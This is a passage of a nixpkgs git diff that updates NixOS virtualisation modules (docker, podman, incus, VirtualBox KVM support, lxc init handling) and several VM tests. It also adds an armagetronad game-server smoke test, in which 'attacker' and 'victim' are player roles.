dacd700537c78..417cf516c7f4b 100644 --- a/nixos/modules/virtualisation/cri-o.nix +++ b/nixos/modules/virtualisation/cri-o.nix @@ -6,7 +6,7 @@ let crioPackage = pkgs.cri-o.override { extraPackages = cfg.extraPackages - ++ lib.optional (builtins.elem "zfs" config.boot.supportedFilesystems) config.boot.zfs.package; + ++ lib.optional (config.boot.supportedFilesystems.zfs or false) config.boot.zfs.package; }; format = pkgs.formats.toml { }; diff --git a/nixos/modules/virtualisation/docker.nix b/nixos/modules/virtualisation/docker.nix index d4d34d13a94d1..cceb186e0b36e 100644 --- a/nixos/modules/virtualisation/docker.nix +++ b/nixos/modules/virtualisation/docker.nix @@ -72,6 +72,8 @@ in type = types.bool; default = false; description = lib.mdDoc '' + **Deprecated**, please use virtualisation.containers.cdi.dynamic.nvidia.enable instead. + Enable nvidia-docker wrapper, supporting NVIDIA GPUs inside docker containers. ''; }; @@ -185,6 +187,16 @@ in users.groups.docker.gid = config.ids.gids.docker; systemd.packages = [ cfg.package ]; + # Docker 25.0.0 supports CDI by default + # (https://docs.docker.com/engine/release-notes/25.0/#new). Encourage + # moving to CDI as opposed to having deprecated runtime + # wrappers. + warnings = lib.optionals (cfg.enableNvidia && (lib.strings.versionAtLeast cfg.package.version "25")) [ + '' + You have set virtualisation.docker.enableNvidia. This option is deprecated, please set virtualisation.containers.cdi.dynamic.nvidia.enable instead. + '' + ]; + systemd.services.docker = { wantedBy = optional cfg.enableOnBoot "multi-user.target"; after = [ "network.target" "docker.socket" ]; diff --git a/nixos/modules/virtualisation/hyperv-image.nix b/nixos/modules/virtualisation/hyperv-image.nix index efaea0c110d23..fddff7bf1c69a 100644 --- a/nixos/modules/virtualisation/hyperv-image.nix +++ b/nixos/modules/virtualisation/hyperv-image.nix @@ -60,7 +60,6 @@ in { boot.growPartition = true; boot.loader.grub = { - version = 2; device = "nodev"; efiSupport = true; efiInstallAsRemovable = true; diff --git a/nixos/modules/virtualisation/incus.nix b/nixos/modules/virtualisation/incus.nix index bbe5b48b95bb1..a561c5682ae58 100644 --- a/nixos/modules/virtualisation/incus.nix +++ b/nixos/modules/virtualisation/incus.nix @@ -97,10 +97,23 @@ in considered failed and systemd will attempt to restart it. ''; }; + + ui = { + enable = lib.mkEnableOption (lib.mdDoc "(experimental) Incus UI"); + + package = lib.mkPackageOption pkgs [ "incus" "ui" ] { }; + }; }; }; config = lib.mkIf cfg.enable { + assertions = [ + { + assertion = !(config.networking.firewall.enable && !config.networking.nftables.enable && config.virtualisation.incus.enable); + message = "Incus on NixOS is unsupported using iptables. Set `networking.nftables.enable = true;`"; + } + ]; + # https://github.com/lxc/incus/blob/f145309929f849b9951658ad2ba3b8f10cbe69d1/doc/reference/server_settings.md boot.kernel.sysctl = { "fs.aio-max-nr" = lib.mkDefault 524288; @@ -165,10 +178,12 @@ in "${config.boot.zfs.package}/lib/udev" ]; - environment = { + environment = lib.mkMerge [ { # Override Path to the LXC template configuration directory INCUS_LXC_TEMPLATE_CONFIG = "${pkgs.lxcfs}/share/lxc/config"; - }; + } (lib.mkIf (cfg.ui.enable) { + "INCUS_UI" = cfg.ui.package; + }) ]; serviceConfig = { ExecStart = "${cfg.package}/bin/incusd --group incus-admin"; diff --git a/nixos/modules/virtualisation/linode-config.nix b/nixos/modules/virtualisation/linode-config.nix index bbf81bda9c024..209bff57ea8be 100644 --- a/nixos/modules/virtualisation/linode-config.nix +++ b/nixos/modules/virtualisation/linode-config.nix @@ -59,7 +59,6 @@ with lib; grub = { enable = true; - version = 2; forceInstall = true; device = "nodev"; diff --git a/nixos/modules/virtualisation/lxc-container.nix b/nixos/modules/virtualisation/lxc-container.nix index 8d3a480e6dc8c..95e3083ff9eda 100644 --- a/nixos/modules/virtualisation/lxc-container.nix +++ b/nixos/modules/virtualisation/lxc-container.nix @@ -14,7 +14,9 @@ options = { }; - config = { + config = let + initScript = if config.boot.initrd.systemd.enable then "prepare-root" else "init"; + in { boot.isContainer = true; boot.postBootCommands = '' @@ -41,7 +43,7 @@ contents = [ { - source = config.system.build.toplevel + "/init"; + source = config.system.build.toplevel + "/${initScript}"; target = "/sbin/init"; } # Technically this is not required for lxc, but having also make this configuration work with systemd-nspawn. @@ -65,7 +67,7 @@ pseudoFiles = [ "/sbin d 0755 0 0" - "/sbin/init s 0555 0 0 ${config.system.build.toplevel}/init" + "/sbin/init s 0555 0 0 ${config.system.build.toplevel}/${initScript}" "/dev d 0755 0 0" "/proc d 0555 0 0" "/sys d 0555 0 0" @@ -74,7 +76,7 @@ system.build.installBootLoader = pkgs.writeScript "install-lxd-sbin-init.sh" '' #!${pkgs.runtimeShell} - ${pkgs.coreutils}/bin/ln -fs "$1/init" /sbin/init + ${pkgs.coreutils}/bin/ln -fs "$1/${initScript}" /sbin/init ''; # networkd depends on this, but systemd module disables this for containers @@ -83,7 +85,7 @@ systemd.packages = [ pkgs.distrobuilder.generator ]; system.activationScripts.installInitScript = lib.mkForce '' - ln -fs $systemConfig/init /sbin/init + ln -fs $systemConfig/${initScript} /sbin/init ''; }; } diff --git a/nixos/modules/virtualisation/oci-containers.nix b/nixos/modules/virtualisation/oci-containers.nix index b6a7b1154c4aa..5bffb3f047166 100644 --- a/nixos/modules/virtualisation/oci-containers.nix +++ b/nixos/modules/virtualisation/oci-containers.nix @@ -252,10 +252,13 @@ let text = '' ${cfg.backend} rm -f ${name} || true ${optionalString (isValidLogin container.login) '' + # try logging in, if it fails, check if image exists locally ${cfg.backend} login \ ${container.login.registry} \ --username ${container.login.username} \ - --password-stdin < ${container.login.passwordFile} + --password-stdin < ${container.login.passwordFile} \ + || ${cfg.backend} image inspect ${container.image} >/dev/null \ + || { echo "image doesn't exist locally and login failed" >&2 ; exit 1; } ''} ${optionalString (container.imageFile != null) '' ${cfg.backend} load -i ${container.imageFile} @@ -309,7 +312,7 @@ let preStop = if cfg.backend == "podman" then "podman stop --ignore --cidfile=/run/podman-${escapedName}.ctr-id" - else "${cfg.backend} stop ${name}"; + else "${cfg.backend} stop ${name} || true"; postStop = if cfg.backend == "podman" then "podman rm -f --ignore --cidfile=/run/podman-${escapedName}.ctr-id" diff --git a/nixos/modules/virtualisation/podman/default.nix b/nixos/modules/virtualisation/podman/default.nix index 47382f9beab00..a977390542166 100644 --- a/nixos/modules/virtualisation/podman/default.nix +++ b/nixos/modules/virtualisation/podman/default.nix @@ -9,7 +9,7 @@ let extraPackages = cfg.extraPackages # setuid shadow ++ [ "/run/wrappers" ] - ++ lib.optional (builtins.elem "zfs" config.boot.supportedFilesystems) config.boot.zfs.package; + ++ lib.optional (config.boot.supportedFilesystems.zfs or false) config.boot.zfs.package; }); # Provides a fake "docker" binary mapping to podman @@ -82,6 +82,8 @@ in type = types.bool; default = false; description = lib.mdDoc '' + **Deprecated**, please use virtualisation.containers.cdi.dynamic.nvidia.enable instead. + Enable use of NVidia GPUs from within podman containers. ''; }; @@ -166,6 +168,12 @@ in inherit (networkConfig) dns_enabled network_interface; in lib.mkIf cfg.enable { + warnings = lib.optionals cfg.enableNvidia [ + '' + You have set virtualisation.podman.enableNvidia. This option is deprecated, please set virtualisation.containers.cdi.dynamic.nvidia.enable instead. + '' + ]; + environment.systemPackages = [ cfg.package ] ++ lib.optional cfg.dockerCompat dockerCompat; @@ -208,9 +216,11 @@ in requires = [ "podman.service" ]; }; + systemd.services.podman.environment = config.networking.proxy.envVars; systemd.sockets.podman.wantedBy = [ "sockets.target" ]; systemd.sockets.podman.socketConfig.SocketGroup = "podman"; + systemd.user.services.podman.environment = config.networking.proxy.envVars; systemd.user.sockets.podman.wantedBy = [ "sockets.target" ]; systemd.timers.podman-prune.timerConfig = lib.mkIf cfg.autoPrune.enable { diff --git a/nixos/modules/virtualisation/qemu-vm.nix b/nixos/modules/virtualisation/qemu-vm.nix index 55a2143251186..b5a8b08eee70d 100644 --- a/nixos/modules/virtualisation/qemu-vm.nix +++ b/nixos/modules/virtualisation/qemu-vm.nix @@ -1183,6 +1183,10 @@ in "-tpmdev emulator,id=tpm_dev_0,chardev=chrtpm" "-device ${cfg.tpm.deviceModel},tpmdev=tpm_dev_0" ]) + (mkIf (pkgs.stdenv.hostPlatform.isx86 && cfg.efi.OVMF.systemManagementModeRequired) [ + "-machine" "q35,smm=on" + "-global" "driver=cfi.pflash01,property=secure,value=on" + ]) ]; virtualisation.qemu.drives = mkMerge [ diff --git a/nixos/modules/virtualisation/virtualbox-host.nix b/nixos/modules/virtualisation/virtualbox-host.nix index 50a8f8189590e..0ecf7f490cf6f 100644 --- a/nixos/modules/virtualisation/virtualbox-host.nix +++ b/nixos/modules/virtualisation/virtualbox-host.nix @@ -6,7 +6,7 @@ let cfg = config.virtualisation.virtualbox.host; virtualbox = cfg.package.override { - inherit (cfg) enableHardening headless enableWebService; + inherit (cfg) enableHardening headless enableWebService enableKvm; extensionPack = if cfg.enableExtensionPack then pkgs.virtualboxExtpack else null; }; @@ -81,13 +81,24 @@ in Build VirtualBox web service tool (vboxwebsrv) to allow managing VMs via other webpage frontend tools. Useful for headless servers. ''; }; + + enableKvm = mkOption { + type = types.bool; + default = false; + description = lib.mdDoc '' + Enable KVM support for VirtualBox. This increases compatibility with Linux kernel versions, because the VirtualBox kernel modules + are not required. + + This option is incompatible with `enableHardening` and `addNetworkInterface`. + + Note: This is experimental. Please check https://github.com/cyberus-technology/virtualbox-kvm/issues. + ''; + }; }; config = mkIf cfg.enable (mkMerge [{ warnings = mkIf (pkgs.config.virtualbox.enableExtensionPack or false) ["'nixpkgs.virtualbox.enableExtensionPack' has no effect, please use 'virtualisation.virtualbox.host.enableExtensionPack'"]; - boot.kernelModules = [ "vboxdrv" "vboxnetadp" "vboxnetflt" ]; - boot.extraModulePackages = [ kernelModules ]; environment.systemPackages = [ virtualbox ]; security.wrappers = let @@ -114,17 +125,43 @@ in services.udev.extraRules = '' - KERNEL=="vboxdrv", OWNER="root", GROUP="vboxusers", MODE="0660", TAG+="systemd" - KERNEL=="vboxdrvu", OWNER="root", GROUP="root", MODE="0666", TAG+="systemd" - KERNEL=="vboxnetctl", OWNER="root", GROUP="vboxusers", MODE="0660", TAG+="systemd" SUBSYSTEM=="usb_device", ACTION=="add", RUN+="${virtualbox}/libexec/virtualbox/VBoxCreateUSBNode.sh $major $minor $attr{bDeviceClass}" SUBSYSTEM=="usb", ACTION=="add", ENV{DEVTYPE}=="usb_device", RUN+="${virtualbox}/libexec/virtualbox/VBoxCreateUSBNode.sh $major $minor $attr{bDeviceClass}" SUBSYSTEM=="usb_device", ACTION=="remove", RUN+="${virtualbox}/libexec/virtualbox/VBoxCreateUSBNode.sh --remove $major $minor" SUBSYSTEM=="usb", ACTION=="remove", ENV{DEVTYPE}=="usb_device", RUN+="${virtualbox}/libexec/virtualbox/VBoxCreateUSBNode.sh --remove $major $minor" ''; + } (mkIf cfg.enableKvm { + assertions = [ + { + assertion = !cfg.addNetworkInterface; + message = "VirtualBox KVM only supports standard NAT networking for VMs. Please turn off virtualisation.virtualbox.host.addNetworkInferface."; + } + + { + assertion = !cfg.enableHardening; + message = "VirtualBox KVM is not compatible with hardening: Please turn off virtualisation.virtualbox.host.enableHardening."; + } + ]; + + warnings = [ + '' + KVM support in VirtualBox is experimental. Not all security features are available yet. + See: https://github.com/cyberus-technology/virtualbox-kvm/issues/12 + '' + ]; + }) (mkIf (!cfg.enableKvm) { + boot.kernelModules = [ "vboxdrv" "vboxnetadp" "vboxnetflt" ]; + boot.extraModulePackages = [ kernelModules ]; + + services.udev.extraRules = + '' + KERNEL=="vboxdrv", OWNER="root", GROUP="vboxusers", MODE="0660", TAG+="systemd" + KERNEL=="vboxdrvu", OWNER="root", GROUP="root", MODE="0666", TAG+="systemd" + KERNEL=="vboxnetctl", OWNER="root", GROUP="vboxusers", MODE="0660", TAG+="systemd" + ''; # Since we lack the right setuid/setcap binaries, set up a host-only network by default. - } (mkIf cfg.addNetworkInterface { + }) (mkIf cfg.addNetworkInterface { systemd.services.vboxnet0 = { description = "VirtualBox vboxnet0 Interface"; requires = [ "dev-vboxnetctl.device" ]; diff --git a/nixos/modules/virtualisation/vmware-image.nix b/nixos/modules/virtualisation/vmware-image.nix index a38713b4d4ee1..3674b37d0b97e 100644 --- a/nixos/modules/virtualisation/vmware-image.nix +++ b/nixos/modules/virtualisation/vmware-image.nix @@ -80,7 +80,6 @@ in { boot.growPartition = true; boot.loader.grub = { - version = 2; device = "nodev"; efiSupport = true; efiInstallAsRemovable = true; diff --git a/nixos/release-combined.nix b/nixos/release-combined.nix index 7700441b1d6be..459700514ffc5 100644 --- a/nixos/release-combined.nix +++ b/nixos/release-combined.nix @@ -142,7 +142,6 @@ in rec { (onFullSupported "nixos.tests.networking.networkd.virtual") (onFullSupported "nixos.tests.networking.networkd.vlan") (onFullSupported "nixos.tests.systemd-networkd-ipv6-prefix-delegation") - (onFullSupported "nixos.tests.nfs3.simple") (onFullSupported "nixos.tests.nfs4.simple") (onSystems ["x86_64-linux"] "nixos.tests.oci-containers.podman") (onFullSupported "nixos.tests.openssh") diff --git a/nixos/release-small.nix b/nixos/release-small.nix index 6204dc731ad96..cac20b63925f0 100644 --- a/nixos/release-small.nix +++ b/nixos/release-small.nix @@ -43,7 +43,7 @@ in rec { login misc nat - nfs3 + nfs4 openssh php predictable-interface-names @@ -125,7 +125,7 @@ in rec { "nixos.tests.misc" "nixos.tests.nat.firewall" "nixos.tests.nat.standalone" - "nixos.tests.nfs3.simple" + "nixos.tests.nfs4.simple" "nixos.tests.openssh" "nixos.tests.php.fpm" "nixos.tests.php.pcre" diff --git a/nixos/release.nix b/nixos/release.nix index 2acc5ade7848b..ff60b0b79f6d9 100644 --- a/nixos/release.nix +++ b/nixos/release.nix @@ -177,6 +177,12 @@ in rec { inherit system; }); + iso_plasma6 = forMatchingSystems supportedSystems (system: makeIso { + module = ./modules/installer/cd-dvd/installation-cd-graphical-calamares-plasma6.nix; + type = "plasma6"; + inherit system; + }); + iso_gnome = forMatchingSystems supportedSystems (system: makeIso { module = ./modules/installer/cd-dvd/installation-cd-graphical-calamares-gnome.nix; type = "gnome"; diff --git a/nixos/tests/acme.nix b/nixos/tests/acme.nix index 272782dc2f621..d63a77fcdd23c 100644 --- a/nixos/tests/acme.nix +++ b/nixos/tests/acme.nix @@ -1,4 +1,7 @@ -{ pkgs, lib, ... }: let +{ config, lib, ... }: let + + pkgs = config.node.pkgs; + commonConfig = ./common/acme/client; dnsServerIP = nodes: nodes.dnsserver.networking.primaryIPAddress; diff --git a/nixos/tests/activation/etc-overlay-immutable.nix b/nixos/tests/activation/etc-overlay-immutable.nix index 70c3623b929c5..f347f9cf8efe2 100644 --- a/nixos/tests/activation/etc-overlay-immutable.nix +++ b/nixos/tests/activation/etc-overlay-immutable.nix @@ -20,11 +20,17 @@ }; testScript = '' - machine.succeed("findmnt --kernel --type overlay /etc") - machine.fail("stat /etc/newgen") + with subtest("/etc is mounted as an overlay"): + machine.succeed("findmnt --kernel --type overlay /etc") - machine.succeed("/run/current-system/specialisation/new-generation/bin/switch-to-configuration switch") + with subtest("switching to the same generation"): + machine.succeed("/run/current-system/bin/switch-to-configuration test") - assert machine.succeed("cat /etc/newgen") == "newgen" + with subtest("switching to a new generation"): + machine.fail("stat /etc/newgen") + + machine.succeed("/run/current-system/specialisation/new-generation/bin/switch-to-configuration switch") + + assert machine.succeed("cat /etc/newgen") == "newgen" ''; } diff --git a/nixos/tests/activation/etc-overlay-mutable.nix b/nixos/tests/activation/etc-overlay-mutable.nix index cfe7604fceb84..087c06408a715 100644 --- a/nixos/tests/activation/etc-overlay-mutable.nix +++ b/nixos/tests/activation/etc-overlay-mutable.nix @@ -18,13 +18,19 @@ }; testScript = '' - machine.succeed("findmnt --kernel --type overlay /etc") - machine.fail("stat /etc/newgen") - machine.succeed("echo -n 'mutable' > /etc/mutable") + with subtest("/etc is mounted as an overlay"): + machine.succeed("findmnt --kernel --type overlay /etc") - machine.succeed("/run/current-system/specialisation/new-generation/bin/switch-to-configuration switch") + with subtest("switching to the same generation"): + machine.succeed("/run/current-system/bin/switch-to-configuration test") - assert machine.succeed("cat /etc/newgen") == "newgen" - assert machine.succeed("cat /etc/mutable") == "mutable" + with subtest("switching to a new generation"): + machine.fail("stat /etc/newgen") + machine.succeed("echo -n 'mutable' > /etc/mutable") + + machine.succeed("/run/current-system/specialisation/new-generation/bin/switch-to-configuration switch") + + assert machine.succeed("cat /etc/newgen") == "newgen" + assert machine.succeed("cat /etc/mutable") == "mutable" ''; } diff --git a/nixos/tests/akkoma.nix b/nixos/tests/akkoma.nix index 287e2d485999e..2907017ee3d54 100644 --- a/nixos/tests/akkoma.nix +++ b/nixos/tests/akkoma.nix @@ -31,16 +31,12 @@ let export REQUESTS_CA_BUNDLE="/etc/ssl/certs/ca-certificates.crt" - echo '${userPassword}' | ${pkgs.toot}/bin/toot login_cli -i "akkoma.nixos.test" -e "jamy@nixos.test" - echo "y" | ${pkgs.toot}/bin/toot post "hello world Jamy here" - - # Retrieving timeline with toot currently broken due to incompatible timestamp format - # cf. <https://akkoma.dev/AkkomaGang/akkoma/issues/637> and <https://github.com/ihabunek/toot/issues/399> - #echo "y" | ${pkgs.toot}/bin/toot timeline | grep -F -q "hello world Jamy here" + ${pkgs.toot}/bin/toot login_cli -i "akkoma.nixos.test" -e "jamy@nixos.test" -p '${userPassword}' + ${pkgs.toot}/bin/toot post "hello world Jamy here" + ${pkgs.toot}/bin/toot timeline -1 | grep -F -q "hello world Jamy here" # Test file upload - echo "y" | ${pkgs.toot}/bin/toot upload <(dd if=/dev/zero bs=1024 count=1024 status=none) \ - | grep -F -q "https://akkoma.nixos.test/media" + ${pkgs.toot}/bin/toot upload <(dd if=/dev/zero bs=1024 count=1024 status=none) ''; checkFe = pkgs.writers.writeBashBin "checkFe" '' diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix index 31af6ec642141..7376cd40b910a 100644 --- a/nixos/tests/all-tests.nix +++ b/nixos/tests/all-tests.nix @@ -78,8 +78,9 @@ let # it with `allowAliases = false`? # warnIf pkgs.config.allowAliases "nixosTests: pkgs includes aliases." { + _file = "${__curPos.file} readOnlyPkgs"; _class = "nixosTest"; - node.pkgs = pkgs; + node.pkgs = pkgs.pkgsLinux; }; in { @@ -128,6 +129,7 @@ in { appliance-repart-image = runTest ./appliance-repart-image.nix; apparmor = handleTest ./apparmor.nix {}; archi = handleTest ./archi.nix {}; + armagetronad = handleTest ./armagetronad.nix {}; atd = handleTest ./atd.nix {}; atop = handleTest ./atop.nix {}; atuin = handleTest ./atuin.nix {}; @@ -497,6 +499,7 @@ in { lxd = pkgs.recurseIntoAttrs (handleTest ./lxd { inherit handleTestOn; }); lxd-image-server = handleTest ./lxd-image-server.nix {}; #logstash = handleTest ./logstash.nix {}; + lomiri-system-settings = handleTest ./lomiri-system-settings.nix {}; lorri = handleTest ./lorri/default.nix {}; maddy = discoverTests (import ./maddy { inherit handleTest; }); maestral = handleTest ./maestral.nix {}; @@ -510,12 +513,14 @@ in { mastodon = discoverTests (import ./web-apps/mastodon { inherit handleTestOn; }); pixelfed = discoverTests (import ./web-apps/pixelfed { inherit handleTestOn; }); mate = handleTest ./mate.nix {}; + matter-server = handleTest ./matter-server.nix {}; matomo = handleTest ./matomo.nix {}; matrix-appservice-irc = handleTest ./matrix/appservice-irc.nix {}; matrix-conduit = handleTest ./matrix/conduit.nix {}; matrix-synapse = handleTest ./matrix/synapse.nix {}; matrix-synapse-workers = handleTest ./matrix/synapse-workers.nix {}; mattermost = handleTest ./mattermost.nix {}; + mealie = handleTest ./mealie.nix {}; mediamtx = handleTest ./mediamtx.nix {}; mediatomb = handleTest ./mediatomb.nix {}; mediawiki = handleTest ./mediawiki.nix {}; @@ -535,10 +540,12 @@ in { mobilizon = handleTest ./mobilizon.nix {}; mod_perl = handleTest ./mod_perl.nix {}; molly-brown = handleTest ./molly-brown.nix {}; + monado = handleTest ./monado.nix {}; monica = handleTest ./web-apps/monica.nix {}; mongodb = handleTest ./mongodb.nix {}; moodle = handleTest ./moodle.nix {}; moonraker = handleTest ./moonraker.nix {}; + morph-browser = handleTest ./morph-browser.nix { }; morty = handleTest ./morty.nix {}; mosquitto = handleTest ./mosquitto.nix {}; moosefs = handleTest ./moosefs.nix {}; @@ -691,6 +698,7 @@ in { plantuml-server = handleTest ./plantuml-server.nix {}; plasma-bigscreen = handleTest ./plasma-bigscreen.nix {}; plasma5 = handleTest ./plasma5.nix {}; + plasma6 = handleTest ./plasma6.nix {}; plasma5-systemd-start = handleTest ./plasma5-systemd-start.nix {}; plausible = handleTest ./plausible.nix {}; please = handleTest ./please.nix {}; @@ -771,6 +779,7 @@ in { sanoid = handleTest ./sanoid.nix {}; scaphandre = handleTest ./scaphandre.nix {}; schleuder = handleTest ./schleuder.nix {}; + scrutiny = handleTest ./scrutiny.nix {}; sddm = handleTest ./sddm.nix {}; seafile = handleTest ./seafile.nix {}; searx = handleTest ./searx.nix {}; @@ -799,7 +808,7 @@ in { solanum = handleTest ./solanum.nix {}; sonarr = handleTest ./sonarr.nix {}; sonic-server = handleTest ./sonic-server.nix {}; - sourcehut = handleTest ./sourcehut.nix {}; + sourcehut = handleTest ./sourcehut {}; spacecookie = handleTest ./spacecookie.nix {}; spark = handleTestOn [ "x86_64-linux" "aarch64-linux" ] ./spark {}; sqlite3-to-mysql = handleTest ./sqlite3-to-mysql.nix {}; @@ -909,6 +918,7 @@ in { tor = handleTest ./tor.nix {}; traefik = handleTestOn ["aarch64-linux" "x86_64-linux"] ./traefik.nix {}; trafficserver = handleTest ./trafficserver.nix {}; + transfer-sh = handleTest ./transfer-sh.nix {}; transmission = handleTest ./transmission.nix { transmission = pkgs.transmission; }; transmission_4 = handleTest ./transmission.nix { transmission = pkgs.transmission_4; }; # tracee requires bpf diff --git a/nixos/tests/armagetronad.nix b/nixos/tests/armagetronad.nix new file mode 100644 index 0000000000000..ff2841dedd218 --- /dev/null +++ b/nixos/tests/armagetronad.nix @@ -0,0 +1,272 @@ +import ./make-test-python.nix ({ pkgs, ...} : + +let + user = "alice"; + + client = + { pkgs, ... }: + + { imports = [ ./common/user-account.nix ./common/x11.nix ]; + hardware.opengl.driSupport = true; + virtualisation.memorySize = 256; + environment = { + systemPackages = [ pkgs.armagetronad ]; + variables.XAUTHORITY = "/home/${user}/.Xauthority"; + }; + test-support.displayManager.auto.user = user; + }; + +in { + name = "armagetronad"; + meta = with pkgs.lib.maintainers; { + maintainers = [ numinit ]; + }; + + enableOCR = true; + + nodes = + { + server = { + services.armagetronad.servers = { + high-rubber = { + enable = true; + name = "Smoke Test High Rubber Server"; + port = 4534; + settings = { + SERVER_OPTIONS = "High Rubber server made to run smoke tests."; + CYCLE_RUBBER = 40; + SIZE_FACTOR = 0.5; + }; + roundSettings = { + SAY = [ + "NixOS Smoke Test Server" + "https://nixos.org" + ]; + }; + }; + sty = { + enable = true; + name = "Smoke Test sty+ct+ap Server"; + package = pkgs.armagetronad."0.2.9-sty+ct+ap".dedicated; + port = 4535; + settings = { + SERVER_OPTIONS = "sty+ct+ap server made to run smoke tests."; + CYCLE_RUBBER = 20; + SIZE_FACTOR = 0.5; + }; + roundSettings = { + SAY = [ + "NixOS Smoke Test sty+ct+ap Server" + "https://nixos.org" + ]; + }; + }; + trunk = { + enable = true; + name = "Smoke Test trunk Server"; + package = pkgs.armagetronad."0.4".dedicated; + port = 4536; + settings = { + SERVER_OPTIONS = "0.4 server made to run smoke tests."; + CYCLE_RUBBER = 20; + SIZE_FACTOR = 0.5; + }; + roundSettings = { + SAY = [ + "NixOS Smoke Test 0.4 Server" + "https://nixos.org" + ]; + }; + }; + }; + }; + + client1 = client; + client2 = client; + }; + + testScript = let + xdo = name: text: let + xdoScript = pkgs.writeText "${name}.xdo" text; + in "${pkgs.xdotool}/bin/xdotool ${xdoScript}"; + in + '' + import shlex + import threading + from collections import namedtuple + + class Client(namedtuple('Client', ('node', 'name'))): + def send(self, *keys): + for key in keys: + self.node.send_key(key) + + def send_on(self, text, *keys): + self.node.wait_for_text(text) + self.send(*keys) + + Server = namedtuple('Server', ('node', 'name', 'address', 'port', 'welcome', 'attacker', 'victim', 'coredump_delay')) + + # Clients and their in-game names + clients = ( + Client(client1, 'Arduino'), + Client(client2, 'SmOoThIcE') + ) + + # Server configs. + servers = ( + Server(server, 'high-rubber', 'server', 4534, 'NixOS Smoke Test Server', 'SmOoThIcE', 'Arduino', 8), + Server(server, 'sty', 'server', 4535, 'NixOS Smoke Test sty+ct+ap Server', 'Arduino', 'SmOoThIcE', 8), + Server(server, 'trunk', 'server', 4536, 'NixOS Smoke Test 0.4 Server', 'Arduino', 'SmOoThIcE', 8) + ) + + """ + Runs a command as the client user. + """ + def run(cmd): + return "su - ${user} -c " + shlex.quote(cmd) + + screenshot_idx = 1 + + """ + Takes screenshots on all clients. + """ + def take_screenshots(screenshot_idx): + for client in clients: + client.node.screenshot(f"screen_{client.name}_{screenshot_idx}") + return screenshot_idx + 1 + + # Wait for the servers to come up. + start_all() + for srv in servers: + srv.node.wait_for_unit(f"armagetronad-{srv.name}") + srv.node.wait_until_succeeds(f"ss --numeric --udp --listening | grep -q {srv.port}") + + # Make sure console commands work through the named pipe we created. + for srv in servers: + srv.node.succeed( + f"echo 'say Testing!' >> /var/lib/armagetronad/{srv.name}/input" + ) + srv.node.succeed( + f"echo 'say Testing again!' >> /var/lib/armagetronad/{srv.name}/input" + ) + srv.node.wait_until_succeeds( + f"journalctl -u armagetronad-{srv.name} -e | grep -q 'Admin: Testing!'" + ) + srv.node.wait_until_succeeds( + f"journalctl -u armagetronad-{srv.name} -e | grep -q 'Admin: Testing again!'" + ) + + """ + Sets up a client, waiting for the given barrier on completion. + """ + def client_setup(client, servers, barrier): + client.node.wait_for_x() + + # Configure Armagetron. + client.node.succeed( + run("mkdir -p ~/.armagetronad/var"), + run(f"echo 'PLAYER_1 {client.name}' >> ~/.armagetronad/var/autoexec.cfg") + ) + for idx, srv in enumerate(servers): + client.node.succeed( + run(f"echo 'BOOKMARK_{idx+1}_ADDRESS {srv.address}' >> ~/.armagetronad/var/autoexec.cfg"), + run(f"echo 'BOOKMARK_{idx+1}_NAME {srv.name}' >> ~/.armagetronad/var/autoexec.cfg"), + run(f"echo 'BOOKMARK_{idx+1}_PORT {srv.port}' >> ~/.armagetronad/var/autoexec.cfg") + ) + + # Start Armagetron. + client.node.succeed(run("ulimit -c unlimited; armagetronad >&2 & disown")) + client.node.wait_until_succeeds( + run( + "${xdo "create_new_win-select_main_window" '' + search --onlyvisible --name "Armagetron Advanced" + windowfocus --sync + windowactivate --sync + ''}" + ) + ) + + # Get through the tutorial. + client.send_on('Language Settings', 'ret') + client.send_on('First Setup', 'ret') + client.send_on('Welcome to Armagetron Advanced', 'ret') + client.send_on('round 1', 'esc') + client.send_on('Menu', 'up', 'up', 'ret') + client.send_on('We hope you', 'ret') + client.send_on('Armagetron Advanced', 'ret') + client.send_on('Play Game', 'ret') + + # Online > LAN > Network Setup > Mates > Server Bookmarks + client.send_on('Multiplayer', 'down', 'down', 'down', 'down', 'ret') + + barrier.wait() + + # Get to the Server Bookmarks screen on both clients. This takes a while so do it asynchronously. + barrier = threading.Barrier(3, timeout=120) + for client in clients: + threading.Thread(target=client_setup, args=(client, servers, barrier)).start() + barrier.wait() + + # Main testing loop. Iterates through each server bookmark and connects to them in sequence. + # Assumes that the game is currently on the Server Bookmarks screen. + for srv in servers: + screenshot_idx = take_screenshots(screenshot_idx) + + # Connect both clients at once, one second apart. + for client in clients: + client.send('ret') + client.node.sleep(1) + + # Wait for clients to connect + for client in clients: + srv.node.wait_until_succeeds( + f"journalctl -u armagetronad-{srv.name} -e | grep -q '{client.name}.*entered the game'" + ) + + # Wait for the match to start + srv.node.wait_until_succeeds( + f"journalctl -u armagetronad-{srv.name} -e | grep -q 'Admin: {srv.welcome}'" + ) + srv.node.wait_until_succeeds( + f"journalctl -u armagetronad-{srv.name} -e | grep -q 'Admin: https://nixos.org'" + ) + srv.node.wait_until_succeeds( + f"journalctl -u armagetronad-{srv.name} -e | grep -q 'Go (round 1 of 10)'" + ) + + # Wait a bit + srv.node.sleep(srv.coredump_delay) + + # Turn the attacker player's lightcycle left + attacker = next(client for client in clients if client.name == srv.attacker) + victim = next(client for client in clients if client.name == srv.victim) + attacker.send('left') + screenshot_idx = take_screenshots(screenshot_idx) + + # Wait for coredump. + srv.node.wait_until_succeeds( + f"journalctl -u armagetronad-{srv.name} -e | grep -q '{attacker.name} core dumped {victim.name}'" + ) + screenshot_idx = take_screenshots(screenshot_idx) + + # Disconnect both clients from the server + for client in clients: + client.send('esc') + client.send_on('Menu', 'up', 'up', 'ret') + srv.node.wait_until_succeeds( + f"journalctl -u armagetronad-{srv.name} -e | grep -q '{client.name}.*left the game'" + ) + + # Next server. + for client in clients: + client.send_on('Server Bookmarks', 'down') + + # Stop the servers + for srv in servers: + srv.node.succeed( + f"systemctl stop armagetronad-{srv.name}" + ) + srv.node.wait_until_fails(f"ss --numeric --udp --listening | grep -q {srv.port}") + ''; + +}) diff --git a/nixos/tests/boot.nix b/nixos/tests/boot.nix index ec2a9f6527c93..56f72dddf526c 100644 --- a/nixos/tests/boot.nix +++ b/nixos/tests/boot.nix @@ -4,10 +4,41 @@ }: with import ../lib/testing-python.nix { inherit system pkgs; }; -with pkgs.lib; let - qemu-common = import ../lib/qemu-common.nix { inherit (pkgs) lib pkgs; }; + lib = pkgs.lib; + qemu-common = import ../lib/qemu-common.nix { inherit lib pkgs; }; + + mkStartCommand = { + memory ? 2048, + cdrom ? null, + usb ? null, + pxe ? null, + uboot ? false, + uefi ? false, + extraFlags ? [], + }: let + qemu = 